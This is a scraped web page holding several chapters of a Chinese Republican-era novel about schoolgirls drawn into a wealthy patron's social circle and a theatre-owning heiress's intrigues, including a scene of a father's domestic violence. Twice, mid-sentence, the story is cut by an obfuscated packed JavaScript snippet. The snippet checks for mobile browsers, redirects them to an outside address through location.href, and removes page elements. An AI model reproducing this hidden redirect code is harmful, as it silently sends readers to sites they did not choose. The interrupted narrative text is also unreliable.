这些衣服全部是崭新的,放在柜子里被茉莉干花熏得香香,每一朵精致绣花,每一根蕾丝飘带,都在诱惑着女孩子去占有它,利用它,在华丽的舞池中翩翩起舞,在优雅的茶会上顾影自怜。 霍七小姐,也许真的是一位十分富有,又十分寂寞的女士吧。 阿绣这样想着。 31. 第 31 章 连绵几天的阴雨天终于放晴,弄堂里歪歪斜斜挤着无数间破旧的老屋,小路坑坑洼洼,泥泞不堪,稍不留神就会一脚踩进泥里。 这里钱亚萍和阿绣一前一后,一蹦一跳,挑着干净的地方落脚,唯恐弄脏黑色的皮鞋和雪白的长袜。 “亚萍,还有多久?” “快了快了,前面就是了!” 钱亚萍最终停在一户简陋的木门前,伸手敲门: “姆妈,我回来了!” 不一会儿,门里传来脚步声。 “是阿萍吗?” 一个蓝衣布衫挽着袖子围着围裙的中年妇人打开了门,嗔怪道:“哎呦,侬不晓得拿钥匙啦?” “忘了嘛!”钱亚萍笑嘻嘻的把阿绣拉到身边:“姆妈,这是我同学,她来我们家吃晚饭!” “伯母您好,打扰了。” 阿绣老老实实的鞠了一躬,把手里的食盒递上来。 丁妈听说她要去同学家拜访,特意给她准备了许多精美的点心,让她不用空手来。 钱母本来脸色不渝,接过食盒打开看了看,表情这才缓和了些。 “进来吧。” 钱家的院子逼仄,里面堆满了脏兮兮的杂物,院子里拉起七八条绳子,上面晾着许许多多刚洗完的旧衣服,还不停地滴着水。那些衣服有男人的,有女人的,还有老人和小孩的。 “那是我姆妈帮人家洗的。”钱亚萍随口道。 钱母钻进厨房继续做饭,钱亚萍迫不及待的把阿绣拉进自己屋子里。 钱亚萍的房间很小,窗户很窄,房顶也矮,只有一张简陋的木床,和一张桌子两把椅子,桌上放着一盏黑乎乎的煤油灯,屋里弥漫着隔壁厨房炒菜烟熏火燎的味道。 “阿绣阿绣,你说七小姐昨天让你陪她吃茶了?怎么样,是不是那种英式的下午茶?有伯爵红茶和起司蛋糕?”钱亚萍激动的拉着阿绣的手问着。 阿绣点头,有些不情愿的回忆了一下:“应该是吧。” 自从上一次霍冬英见过她后,就经常派人开车从学校里把她接出来,让她陪着自己。有时是在家中请客吃茶,有时带她出去逛街做头发,给她穿漂亮的衣服,让她戴昂贵的首饰,为她介绍不少富家公子小姐,让她彻底见识了上流社会的奢侈享乐。 嗯...她觉得七小姐一点也不像她自己说的那样孤独寂寞,她的生活明明过得丰富多彩,有滋有味。 昨天霍冬英在家里邀请了一些朋友办茶话会,阿绣和赵婕妤被叫去了。席间赵婕妤弹了一首轻快的钢琴曲,赢得了大家交口称赞,霍冬英便让阿绣也表演些什么来助兴。 阿绣刚刚上学半年,并没有学会什么像样的乐器,而且众目睽睽之下,她脸色通红,连话也说不出来。 可霍冬英表情冷淡抽着雪茄,优雅的吐出一个个烟圈,并没有把说出口的话收回来的意思。 阿绣情急之下,只好硬着头皮,小声朗诵了一首诗歌,半农先生的《教我如何不想她》。 “天上飘着些微云, 地上吹着些微风。 微风吹动了我的头发, 教我如何不想她......” 这是她前几天在书房的一本诗集中看过的,优美的文字,热烈的感情,让她一下子就爱上了。 据说这是第一次有人在书面上正式使用代指女子的“她”字,有人说这是写给心爱的姑娘,有人说这是写给伟大的祖国。阿绣更偏向于后一种,诗人先生远赴英国求学,身在异国他乡,他一定是时刻怀念着祖国的大好河山,这才写下如此情真意切的诗句来。 一首诗歌朗诵结束,阿绣也顾不得众人的反应了,飞快的躲到一边的角落里,捂着自己滚烫的脸,慢慢舒缓剧烈的心跳,这样所有人的目光聚集在自己身上的感觉实在是...太可怕了! 可偏偏有人不叫她如愿,一个叫郑复央的年轻人,据说是某报社经理家的公子,一直不停的和她搭讪,说自己也喜欢新体诗,要跟她交流一下心得,还说自己和朋友组织了一个诗社,问她要不要参与,等等之类,让她手足无措,疲于应付。 后来她一个不小心把红茶洒在了裙子上,匆匆去换衣服,这才躲过了他。 这样的场合,阿绣不喜欢,钱亚萍却很喜欢。 她有些羡慕,有些难过:“真好,我也想去,我只跟着七小姐去过几次牌局,不像你,已经那么得她喜爱了。” 阿绣连忙安慰她:“你别伤心,下次七小姐让我再去的时候,我一定拉着你一起。不过说实话,我觉得这样经常外出,真的很影响课程啊......” 她本来就基础不牢,这样三天两头缺席上课,她回家后又要花大力气念书补救了。 “好啊好啊,下次你一定要跟七小姐说带着我。”钱亚萍高兴道:“不过,这个礼拜我们不就是有机会了嘛!” 说起这个,阿绣又头疼了,霍冬英这个礼拜六的晚上在家中举办酒会,叫阿绣和钱亚萍一同去参加,为此还专门找人教她们跳交际舞,为了短时间迅速学会,每天下午她们都必须抽时间来练习。 阿绣在心底悄悄叹了口气,霍小姐是她的恩人,她不能拒绝。 钱亚萍兴致勃勃的拉着她讨论那一天七小姐会让她们穿什么衣服,戴什么珠宝,七小姐会请哪个酒店的名厨来烹饪美食,到场的会有哪几位达官显贵......她的眼睛里盛满着亮晶晶的渴望。 阿绣心不在焉的应着,心思已经飘到了上午老师讲的那首宋朝的诗词上了,莫等闲、白了少年头,空悲切!靖康耻,犹未雪......靖康之耻是哪一年来着...... 砰砰砰——院子里传来巨大的砸门声,一个男人粗哑着嗓子喊道: “来人啊,开门!都死到哪里去了?” 钱亚萍脸色一变,血色褪尽:“糟了,他怎么回来了?” 阿绣还没等问是谁,钱亚萍就按住她的肩膀,告诉她:“阿绣,待在屋子里别出声,无论你听见什么都不要出来,知不知道?!” 阿绣懵懵懂懂的点头,心中有不好的预感。 钱亚萍出去了,阿绣轻手轻脚的走过去,把耳朵贴在门上,想知道发生了什么。 钱母匆匆忙忙赶去开门,刚一打开门栓就被人一脚踹开了门,一个男人大步走了进来,浑身醉醺醺的,骂骂咧咧: “死婆娘,这么慢才开门,是不是不想让我回来?” 钱父走进屋子里,看见脸色苍白的钱亚萍,没好气道:“见到你老子也不吭个声?读书读书,书都读到狗肚子里去了,个赔钱货!” 桌上已经摆好的饭菜,钱母战战兢兢的走过来问道: “你吃饭了吗?正好你回来,咱们一家人吃晚饭吧。” 钱父瞪了她一眼,一屁股坐到饭桌旁边,端起桌上唯一有肉的一道炒菜,拿起筷子就直接往嘴里扒,等吃得差不多的,又抓起馒头狠狠咬了两口,抹了抹嘴,问道:“家里的钱呢?都拿出来!” 钱母惶恐道:“哪里有钱?你上次不是全拿走了......” 话没说完,被钱父一脚踹到一边,他怒目圆睁骂道:“敢骗老子?院子里那么多衣服,哪能没有钱?快拿出来,不然我打死你!” 钱母哭着说:“只有几块钱,还要留着买菜呢,家里的米已经吃完了,给了你你又要拿去赌了!” 钱亚萍冲过去抱住父亲的腿,央求道:“别打姆妈!家里真的没钱了!” 钱父反手就是一巴掌打在钱亚萍脸上,“滚开!” 钱亚萍被打的身子歪在一边,嘴角流血,左脸立马肿了起来,领口歪歪扭扭,露出了里面戴着的珍珠项链。 钱父眼尖,上前一把攥住那条项链,厉声问:“哪来的?这么值钱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424894|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西你敢藏起来?给我!你个不要脸的赔钱货!” “不要,那是七小姐给我的,你不要想抢走!”钱亚萍死死攥住自己的项链,死活不松手。 钱母心急如焚的拉架:“阿萍,你快松手,不然他会打死你的!” 接下来,就是一片骂声,哭泣声,求饶声,桌椅板凳碗筷落地的声音。 最终钱父抢走了珍珠项链,把家里最后的一点钱搜刮干净后,扬长而去。 阿绣屏住呼吸,在屋子里躲了很久很久,直到外面一点声音也没有,才小心翼翼的打开门走了出来。 厅堂里一片狼藉,饭桌被掀了,做好的晚饭洒了一地,她拿来的食盒也被扔到了地上,糕点被踩得稀巴烂。 钱母满面青肿,却习以为常一般和钱亚萍低头收拾着残局。 “亚萍......” 钱亚萍抬头看向阿绣,她的脸高高的肿着,眼睛红肿,还有泪光,脖子上有一条红痕,勒得很深,似乎就要出血。 阿绣眼眶红了,她张了张口,想说什么却说不出,只能傻傻的看着钱亚萍。 她以为钱亚萍会委屈,会悲伤,会愤怒,会因为被她看见而觉得难堪。她的心提到了嗓子眼,可钱亚萍只是无力的冲她笑了一下,耸了耸肩,稀松平常道: “饭吃不成了,真可惜。你傻站着干嘛?快来帮忙啊!” 阿绣愣了一下,然后大力气的点头,急忙走过去接过她手里的扫把帮着扫地。 三人齐心合力,把厅堂重新收拾出来了,钱母身上有伤,又累又疼,进屋躺着去了,不再管她们。 阿绣和钱亚萍把碎碗装在竹篮里,拿出去丢掉。 月光照在狭长的弄堂里,小路上寂静无人,两个人并排走着,谁也没说话。 阿绣几次欲言又止。 终于还是钱亚萍先开口,她烦恼的问:“你说我脸上的红肿这几天能不能消?脖子上的还好说,可以系一条丝巾,我看七小姐这样系过,可是脸上的怎么办?” 阿绣担忧的问:“你还要去礼拜六的舞会吗?你的伤看着有些严重,不然还是好好休养......” 钱亚萍冷声打断了她的话:“我必须去!正是因为这样,所以我非去不可!” 她停下脚步,转过头质问阿绣:“你不希望我去?你是不是怕我跟你争宠?你是不是瞧不起我?!” 阿绣从来没见过钱亚萍这么可怕的表情,她又委屈又着急,连声道:“你怎么会这么想?我哪里有瞧不起你?我们不是好朋友吗?” 钱亚萍低着头,沉默了一会儿,小声说:“我有那样一个家,那样一个烂赌鬼的父亲......” 阿绣扔下竹篮,牵起她的手,坦诚道:“我是孤儿,我爹娘很早就死了,我姨姨把我养大,她扔下我和人私奔了,我差一点被嫁给一个吃喝嫖赌抽的窝囊废,我...我这次数学测验又没有合格,你会不会也瞧不起我?” 钱亚萍甩开她的手,愤怒道:“可你的国文和外语都是优秀!” 两个小姑娘互相盯着,彼此僵持了一会儿,都忍不住笑了出来。 钱亚萍伸指头戳了戳阿绣的小脑袋:“笨阿绣,数学笨蛋!” 阿绣不好意思的摸了摸头,突然想起来什么:“对了,我家里好像有一种消肿的药酒,特别特别的好使,明天我带给你好不好?” 丁妈泡的药酒,据说是祖传的方子,千金不换! “真的吗?”钱亚萍兴高了起来:“好阿绣,明天你一定要记得带来,不然我真的要戴着化装舞会的羽毛面具跳舞了!” “一定不忘!” 女孩子的吵架啊,总是和好得这样快,就像是天上挂得这轮月亮,一会儿圆了,一会儿又缺了,阴晴不定,捉摸不透。 两个人重归于好,亲亲密密的挎在一起,在弄堂里的小路上越走越远。 32. 第 32 章 萧老太爷葬礼,府上日日唱大戏,天天流水席,直到七七四十九天过了烧七。 萧府众人请了族中辈分最高的八叔公主持分家,里里外外,查账对账,城外的田地,天津的宅子,老爷子的古董,老太太的首饰,几房老老少少吵的不可开交。 除大老爷在府衙当差外,余下兄弟几个都是游手好闲不成器的。其实大老爷也没强多少,可谓老大愚孝子,老二败家子,老三浪荡子,老四不肖子,端得是家门不幸。 萧子显死后,这一房就剩下了个萧珏。本来爹不疼娘不爱的小可怜,摇身一变就成了人争人抢的香饽饽。毕竟谁抚养这个孩子,谁就意味着能接手四房的财产。 那日萧瑜没有到场,霍锦宁去了,她不知道他使了什么法子,总之,他从那些个如狼似虎的叔伯婶娘嘴下硬生生抢下了这块肥肉。 他从萧府带走了萧珏,连带萧府小少爷该得的那份。 只能说,霍家二少虽初涉商场,这份锱铢必较的奸商本事却浑然天成。 隔天有人闹到了萧瑜那边,阴阳怪气,冷嘲热讽,也被她一番话呛了回去: “婶娘在祖父跟前伺候这么些年不容易,克扣我嫁妆填了公账的亏空,我不计较,我那份遗产不要已经是孝敬您了。外嫁女不能分家产?婶娘说笑,时代不同了,三年前霍家七小姐在上海打赢了民国头一起外嫁女遗产继承案,婶娘是觉得我请不起她那原班人马的律师团?” 霍锦宁回了上海,萧瑜将萧珏和金环接到了燕子胡同,本就不大的院落变得不那样宽敞了,萧瑜琢磨着再置办一套大些的房子。 “本来我买这院子是为了躲清静,现在却越来越热闹了。”萧瑜摇头叹气。 梁瑾轻笑:“我倒觉得热闹挺好,萧珏蹦蹦跳跳的,院子里也有活力不少,真像是……” 真像是一家人似的。 萧瑜看了他一眼,没接茬。 她不知道萧珏是如何看待梁瑾的,她不曾解释,他也不问,只老老实实的叫他梁瑾哥哥,两人相处的居然还融洽。 “真没想到你挺喜欢小孩子。” “嗯,以前也没想到,但萧珏聪明懂事,许多时候不像孩子,倒像个大人。”梁瑾叹了口气。 萧瑜不置可否,左右她是不喜欢小孩子的。 最近打着孝期在身的名义,她闭门谢客了好一阵,廖三哥看不过,非要约她今日出门听戏,还说给她引荐一高人。 廖季生这人心高气傲得很,可不轻易服人,萧瑜想不到是谁能得他一句半句称赞。 梁瑾送她到门口,欲言又止。 萧瑜微微一笑:“得了,你也跟我去吧。” 他犹豫:“这,合适吗?” “谁还能再为难你不成?” 孙家大老爷年初下台了,如今总理一职暂空,孙家今不如昔,哪有空找个小角色的麻烦? 况且江山代有才人出,梁瑾几乎消失一年,如今梨园行当里还有几个记得碧云天的都说不准。 今儿个去的地方是吉祥戏楼,是自家地方,年初新翻修的,刚开门没多久。 吉祥戏楼原来不叫吉祥戏楼,新名字是萧瑜起的,彼时她抬眼正见着霍吉霍祥站一块儿,随口就拍板了。 廖季生无语扶额,只道翻修的具体安排你就别管了。他是生怕她一时兴起,又把楼里装修成什么鬼样子。 今天的戏班子不出名,一楼上座不多,梁瑾拣了个边上的位子坐下,萧瑜上了二楼包厢。 进了包厢,一打眼就看见了廖季生,他旁边坐着个男人,灰布长衫,戴着礼帽,看不见面容,可人坐在那里,肩宽背直,气质出众,想低调也难。 屋里只有他们两个人,连个听差也没有,于是萧瑜吩咐霍祥候在外面。 门一关,廖季生笑着招手: “你可来了,快过来,我给你介绍介绍,这位是金先生。” “金先生?” “这就是我跟你说过的萧瑜,我亲妹子。” 金先生摘下礼帽,露出一张年轻英俊的脸,他向萧瑜伸出手,微微一笑: “萧二小姐,久仰。” 这人看着而立不到,剑眉星目,骨相生的极好,英气勃勃不失儒雅,一笑三分暖意五分正气,不是个儒将军,却是个武书生。 萧瑜和他握了手,三人入座,萧瑜笑道: “三哥从不夸人,他在我这儿把先生夸个不停,让我对先生好奇极了,今日一见,果然气度不凡。” “不过是拳脚上侥幸胜了一二次,实在不值一提。” 萧瑜微微挑了下眉,垂眸喝茶。 这可了不得,廖季生幼时学拳,师承广东咏春一门泰山北斗级的宗师秦关,真功夫鲜有失手,居然能被这人赢得心服口服? 连名字也不透漏,这人身份有些蹊跷。 廖季生尴尬摆手:“不提不提,胜败兵家常事,我可不是为这事儿服你。小瑜儿你不知道,金先生是有大才之人,留学日本,毕业于陆士学校,游学法国,巴黎待了四年,真正能文能武的全才!” “西洋镀金,东洋镀银,金先生东西尽占,着实厉害。”萧瑜拱手。 金先生对于廖季生的介绍有些无奈,固执的补充说: “起初去东洋是家中所逼,后来去西洋也是世道所迫,文凭还没拿到手,只是交了些志同道合的朋友而已。” “也是快意之事。”萧瑜问:“不知先生在法国研究什么方面?” “旁听了半年哲学。” 萧瑜有些意外,一笑:“古往今来,投笔从戎之人不少,弃武从文倒是不多见。如今世道兵荒马乱,先生难道不想大展拳脚,救民水火?” “正因为想要救国救民,所以才弃武从文。我原来以为洋枪利炮能救中国,以为文化能救中国,以为实业能救中国,现在看来通通差了些。” 萧瑜瞧了一眼廖季生,笑道:“这倒是和三哥不谋而合了。” 这二人赶巧都是反出军校,不愿意再做旁人手里棋子的特立独行之人,怪不得相知相惜。 廖季生摊手:“我就是一个粗人,可搞不懂他那些政治理论。” 法国是欧洲的文明中心,是世界革命的榜样,各种思潮激荡碰撞,政治理论层出不穷,每个旅法的留学生都会被卷入这些思潮之中,寻求自己心中的救国之路。 萧瑜有些感兴趣:“不知先生是支持的哪派?是安那其无政府主义,德先生赛先生?还是......” 她右手拇指食指成圈,伸出三根手指,在桌面上轻轻敲了几下,若有深意道,“还是那三点啊?” 民族、民权、民生,南方革命党所信奉的三民主义。 金先生显然看懂了她的暗示,却不置可否, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那还能没有?”廖季生抢白,“已经有线索了,这就派人去找。” “人找到了吗?” 廖季生顿时讪讪:“时间问题而已。” 金先生说句公道话:“事隔多年,兵荒马乱,找不到也是正常,我早有心理准备。” 正当此时,楼下茶房刺耳的拉铃声响遍戏楼,只见台上曲停戏止,台下观众一片骚动,霍祥匆匆进来禀报: “小姐,三爷,稽查队的人来了。” 为了维护城内治安,京师警察厅下设稽查队,专门到戏园子、电影院等娱乐场所巡查,美其名曰抓乱党,实则为打秋风。吉祥戏楼初初开张,自然被找上门来。 萧瑜放下茶碗,还未开口,便见廖季生和金先生互相交换了个眼色。 金先生对萧瑜微微一笑: “今日一番畅聊,未能尽兴,改日再会了。” 而后他起身来到包厢的红木屏风后,身影一晃就不见了。 萧瑜还不知道,她这戏园子什么时候有了这处暗门了。 在她不渝的斜睨之下,廖季生打了个哈哈:“时间紧迫,待会儿再同你解释,我们下去吧。” 33. 第 33 章 所谓稽查队之流,不过是看人下菜,有背景、有靠山,打点周到的,自然相安无事。反之,轻则频繁光顾,逼到关门大吉为止,重则查封抓人,家破人亡。 萧瑜不方便出面,但廖季生足够能应对,即便不看廖家颜面,三哥见过大场面,岂能连这点小喽啰都打发不来。 所以她根本没同廖季生下楼,只在包厢之内悠然等待。 果不其然,片刻后,楼下茶房再次拉铃,台上表演恢复如初,廖季生上楼回来。 “人呢?”萧瑜问。 “走了。”廖季生嗤笑道:“他们警察厅长昨日才在我师父家中送过寿礼,不过是些欺软怕硬的......” “我是说金先生。” 廖季生一噎,悻悻道:“也走了。” 萧瑜可有可无的点了点头。 廖季生在桌边坐下,“你不问他去哪里了?” “比起这个,我更关心某些人装修时在我这戏楼里都动了什么手脚。”萧瑜似笑非笑:“三哥,我想做的可是正经生意。” 提起这个廖季生有些心虚,讪讪道:“我也没要开烟馆拉皮条,平日里保不齐我那些兄弟遇上个什么仇家债主,这不是有备无患嘛。” “成啊。说实在的,我既然都交给三哥你打点,自然乐得做甩手掌柜,可我只想提醒三哥一句,小心驶得万年船。” 廖季生一顿,“你猜到了他的身份?” “无外乎是南边来的。” “也对,也不对。” 萧瑜摇了摇头:“都差不多,不是白道就是红路的,不是上面的就是地下的。廖三哥,你不厚道啊!” 布尔什维克,来自苏维埃的思潮,意味着农民、工人,大多数,这是庶民的革命。 廖季生一愣,叹了口气:“好,今日是我鲁莽了,你只当无事发生过。” 萧瑜不置可否。 廖季生顿了顿,又语气认真说:“小瑜儿,你和锦宁要做什么,我懂,人各有路,我尊重你们的选择,也相信我自己的选择。” 萧瑜定定望着他,从他眼中看到了这□□小爷、军阀少爷难得严肃正经的神色,那是过去他们这些遗老遗少醉生梦死的消遣日子里,不曾有过的坚定和炽热。 这种坚定和炽热像是一把火,将他整个人都烧得亮堂堂的。 沉默了片刻,她低声道:“总有一天,大家殊途同归。” 毕竟现在是合作时期不是么? . 出了戏楼,在楼下焦急等待了半天的梁瑾迎了上来。 “怎么样了?” 萧瑜不在意道:“我们正经做生意,他们查他们的,廖三哥在这儿,还能叫他们欺负不成?” 梁瑾迟疑:“可我,看你脸色有些不对。” 萧瑜纳罕的看了他一眼,心道这人真是本事,不声不响的,什么时候能把她的情绪都能瞧得一清二楚了。 “一点小事而已。” 梁瑾见她不想说就没再多问,顿了顿,他笑道: “往常都是在台上唱,我今儿个还是头一回在台下看完一整出戏,怪有意思的。” 萧瑜不禁好笑:“比不得云老板惊才绝艳,你若想唱,不如再登台去唱。戏班子没了,就自个儿唱,乐得逍遥。” 梁瑾愣了下,“这,不成......” “有什么不成,你真打算舍了这行?”萧瑜打趣,“这要叫你从前的票友知道了,还不编排我金屋藏娇,独占碧云天?” 梁瑾也不生气,只悠悠道:“能藏一辈子也挺好的。” 萧瑜一乐,往日里清白傲骨的云老板,也终于和她一样不正经起来,啧啧啧,初见时那个泰升戏楼神仙归隐一般的俏天仙不知道哪里去了。 “说正经的,吉祥戏楼捧你啊,你今日上台唱可和往日不同,没人敢逼你去做那些个腌臜事儿。” 梁瑾自然明白她话里的意思,眼中光芒亮了一瞬,又渐渐淡了下去,轻轻摇了摇头: “还是不了,戏子门前是非多,我不打紧,怕给你添罗烂。” 萧瑜定定看了他半晌,无端觉得有些没趣,施施然转身,只轻轻飘飘留了句: “那是寡妇门前,没文化。” . 许久不曾出门,山中不知四季,又是一年春末夏初。 萧瑜和梁瑾闲来无事,又去了陶然亭附近散步。 因着天气不错,冷不冷热不热,湖面波光粼粼,杨柳低垂,玉荷含苞,水边亭中,人影攒动,声乐阵阵。 远看着那边有人集会,萧瑜本不想去凑那个热闹,可侧耳一听,那些人凑在一起,依稀是在唱戏,不是别个,正是一曲《游园惊梦》。 萧瑜和梁瑾相视一笑,并肩走了过去。 这一行大概十几个人,衣着便服,年纪有老有少。四五个人带了家什坐在一边吹拉弹唱,乐器不全,架子倒是摆了十足。 围在正中咿咿呀呀唱杜丽娘的那个,却是个体态微胖的中年男子,鼻梁上架了副圆圆的眼镜,白色衬衫素色背带西裤,勒得肚子紧紧的。他妆容未扮,模样违和,嗓音也不圆润,强演美貌小姐,本来可笑,但他神色认真,动作一丝不苟,竟是完全融进了这曲《牡丹亭》里,心无旁骛,让人生不出嘲笑之心来。 萧瑜和梁瑾站在一旁看了一会儿,梁瑾并无不渝,只是听到某一处时,忽而眉头一皱,低声和萧瑜说: “他唱错了。” 萧瑜还未等说什么,却叫前面站了一个戴着黑色鸭舌帽的年轻男子听了去,他回过头来问道: “请问是哪里错了?” 措辞客客气气,态度却透着一丝不以为意,年轻人惯有的倨傲。 这句声音高了些,周围的人都听到了,连前面正唱着的中年男子也停了下来,他这一停,奏乐的不知道发生了什么事,也茫然停了下来。 一时间,所有人的目光聚集在的萧瑜和梁瑾这两个外来人身上。 面对这些并不算友好的注视,梁瑾并无反应,只轻描淡写道: “就刚才那句,我说错,就是错了。” 鸭舌帽男子表情不屑:“你懂什么?你知不知道我们可是......” 他话没说完,就被唱杜丽娘的中年男子打断,他客客气气的向梁瑾拱了拱手,语气诚恳的请教道: “这位先生,请问我刚才哪一句错了,错在何处?还望先生不吝赐教。” 这话说得倒还顺耳,梁瑾穿过众人,走到他面前,淡淡道: “你方才唱的是《游园》里的《步步娇》,正数第五句,倒数第二句‘迤逗的彩云偏’,是‘迤逗’,不是‘移逗’。” 那中年男子一愣,自己默默唱了两遍,只道:“不对,是‘移逗’。” 梁瑾也不恼,只耐心解释道:“‘迤逗’是挑逗引诱的意思,《西厢记》是这样唱,《桃花扇》也是这样唱。” 中年男子却还是不信,也解释自己的看法,二人不知不觉为一字之差,据理力争起来。 围观众人也都慎重,低声议论,不停琢磨。 一个梳着齐肩卷发,蓝色格纹旗袍的温婉女子走到萧瑜旁边,看着那争论的两人,无奈笑道: “这人啊,明明一把年纪了,为了唱戏还跟小孩子一样辩驳不休,真是叫人哭笑不得。” 这女子是方才搭腔唱春香的。 萧瑜道:“各有各的坚持,不巧我这边这位也是个较真的性子。” 她话说得谦虚,却毫不怀疑梁瑾对错,别的戏不提,普天之下,再找不出一个比他更懂这《牡丹亭》的人来。 女子听出她话里的意思来,不由看了梁瑾一眼,似乎有些明白过来二 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李兆兰解释道:“现在时代不同了,新思想新文化要学,咱们老祖宗传统精髓也不能丢。过去都拿唱戏消遣取乐,说戏子是‘下三滥’,可在国外,他们都该是艺术家,是表演家,该受万众瞩目,该受鲜花掌声的。现在国内民智未开,衣食住行尚且没有保障,艺术环境更是不用提了。” 萧瑜点点头:“是这个理,那李老师觉得中国戏曲艺术发展该如何是方向?” 这句话似乎问到了李兆兰心坎儿上,她叹了口气: “我们只能在学生之间发展一下‘音韵社’,多宣传教导一些,起码让新一代的青年明白,我们国家也有不输西方莎士比亚戏剧的艺术。我与光伟平生最大心愿,就是将中国的戏曲推向国际的舞台,让世界都知道中国戏曲的魅力。” 这倒是个远大而艰难的志向,萧瑜不禁对台上那位刮目相看起来。 那厢还没辨出个所以然,周光伟固执不改,梁瑾却有些急了,说着就直接将这几句唱了一遍: “袅晴丝吹来闲庭院,摇漾春如线。停半晌整花钿,没揣菱花偷人半面,迤逗的彩云偏。我步香闺怎便把全身现......” 哪怕未上妆,未穿戏服,他在台上台下,戏里戏外的样子,是截然不同的。 台下,他是清冷孤高,执着腼腆的梁瑾,不过是比一般男子清秀俊俏些,整日里不是忙着缝衣服做饭日常琐碎,就是拈酸吃醋的胡思乱想。 但只要一起范儿,一开腔,他周身气度就全然变了,他眼里是有戏的,顾盼神飞,灵气逼人。不只是杜丽娘,他还是宁死不屈的虞姬,是闭月羞花的贵妃,是一身冤屈的苏三,是才貌双全的崔莺莺,甚至是至死不渝的柳梦梅。 初衷为何,已不重要,他这辈子合该就是生在台上死在台上的角儿。 周光伟原先见他相貌身段,本就怀疑他是旦角,现在这一开口,他彻底惊住了,发觉自己原来一直鲁班门前弄大斧,关公门前耍大刀。 梁瑾一唱完,周遭自发响起一阵掌声,看他的目光不由自主都变了。 周光伟更是当下鞠了一躬,诚恳道:“不知先生是行家里手,这回闹笑话了,敢问先生是哪一位?” 他见梁瑾唱得这样不凡,料想他肯定是有名号的。 梁瑾一愣,犹豫了一下,还是说:“我姓梁,叫.......” 话不等说完,突然有人高声道:“他是碧云天!” 大家扭头看去,却发现是萧瑜接的话。 她抬头迎向梁瑾吃惊的目光,悠然笑道: “他是碧云天,是天下第一坤生娄小舟的师弟,是京城鼎鼎有名的‘杜丽娘’,碧云天云老板!” 杜丽娘之所以是杜丽娘,不是因为站在柳梦梅身边,而是因为她站在台上,所以光芒万丈,千古流芳。 34. 第 34 章 礼拜六的夜晚,英伦古堡式的庄园灯火辉煌,门前停着的豪华汽车排到了下一条街,不断有豪门名流进进出出,灯红酒绿,笙歌燕舞,这场宴会隆重而盛大。 一楼客厅中,法国大厨烹饪的美味佳肴源源不断的摆上餐桌,有乐队现场演奏舒缓美妙的音乐,年轻的绅士淑女翩翩起舞,训练有素的侍者系着红色领结,端着鸡尾酒穿梭在期间。 阿绣和钱亚萍像是头一次进城的乡下姑娘,眼花缭乱,躲在角落偷偷旁观,窃窃私语,不敢上前。 晚上八点整,落地摆钟尽职尽责的敲响的八下,恰逢一曲结束间隙,钟声悠长悠长的回荡在别墅里,今晚宴会的主人这才姗姗来迟。 霍冬英挽着男伴,从铺着红毯的旋转楼梯上,缓缓走了下来。她一身纯黑的鱼尾长裙,戴着一顶黑纱礼帽,如同一只高贵的黑天鹅,仰着脖颈头颅,俯视着众人。 她身边的男人四十岁上下,西装革履,身材健硕,浓密的头发和胡子带着金色,高鼻深目,是个洋人。 乐队奏起了悠扬的舞曲,在万众瞩目之下,二人跳了一曲开场舞,今晚的宴席这才真正拉开序幕。 有许多人围着霍冬英和那个洋人攀谈,霍冬英却冲阿绣这边招了招手: “阿绣,阿萍,快过来!” 阿绣迟疑了一下,钱亚萍却迫不及待的拉着她过去,挤在了霍冬英身边,甜甜的叫了一声: “七小姐。” 霍冬英面带微笑的点了点头,向身边的朋友介绍道: “这是我新认下的几个干女儿,还都是学生,虽然没出来露过脸,但是却个个聪明伶俐,许是用不了几年就能独当一面,连婕妤也要被比下去了!” 赵婕妤笑面如花:“干妈说的是,突然多了这几个妹妹,我以后可就不孤单了。” 阿绣也是到今天才知道,霍冬英确实资助了不少女学生,并且常带在身边出入交际场合,除了赵婕妤最受宠爱,还有十几个亲近不等的,她们有的端庄贤淑,有的娇憨甜美,有的清高秀雅,但却无一例外拥有共同的特点:贫穷,且貌美。 阿绣看着围在霍冬英身边那些环肥燕瘦,巧笑连连的干女儿们,心底渐渐冰凉,手心出了不少冷汗。 这里不能再待下去了。 她悄悄拉了一下钱亚萍,可她却浑若不觉,她已经沉浸在和其他姐妹们的嬉笑谈天,争奇斗艳中了。 霍冬英给她们介绍站在她身边的洋人是泰利公司的史密斯先生,是正经的英国贵族,拥有世袭爵位,和她是多年的好友。两个人举止十分亲密,史密斯先生用英文夸赞这群小姑娘年轻貌美,像是含苞待放的玫瑰花一样。 一众女孩子或害羞浅笑,或茫然不懂,只有钱亚萍突然大胆的开口,回答他: “史密斯先生,非常感谢您的夸奖,您今天也十分英俊,我喜欢您这条领带!” 她的英语发音流畅而优美,甚至带着地道的伦敦腔,此时此刻她坦然大方得好像上流社会的名门淑女,一点也没有那个弄堂的破旧老房子里贫穷女孩子的模样。 可阿绣感觉得到,她贴着自己的身子在微微颤抖着。 史密斯先生十分惊讶,他笑着对霍冬英说:“瞧瞧,没想到你这里还有这样大胆的小姑娘,她笑起来的样子真是可爱迷人。” 霍冬英也笑了起来,眼中却冰冰冷冷,她看向钱亚萍意味深长道:“是啊,我也没有想到。” 史密斯先生对钱亚萍很感兴趣,和她聊起天来,钱亚萍流利应答,聪明伶俐不失娇憨天真,不一会儿两人就相携走进了舞池,贴身翩翩起舞。 阿绣满脑子都是如何想办法脱身,身边一个侍者端着红酒经过,她突然想起上次和郑复央的事情了,急忙叫住了那个侍者,伸手去拿那杯红酒。 然而指尖还没等碰到玻璃高脚杯,忽然听见霍冬英叫她: “阿绣!” 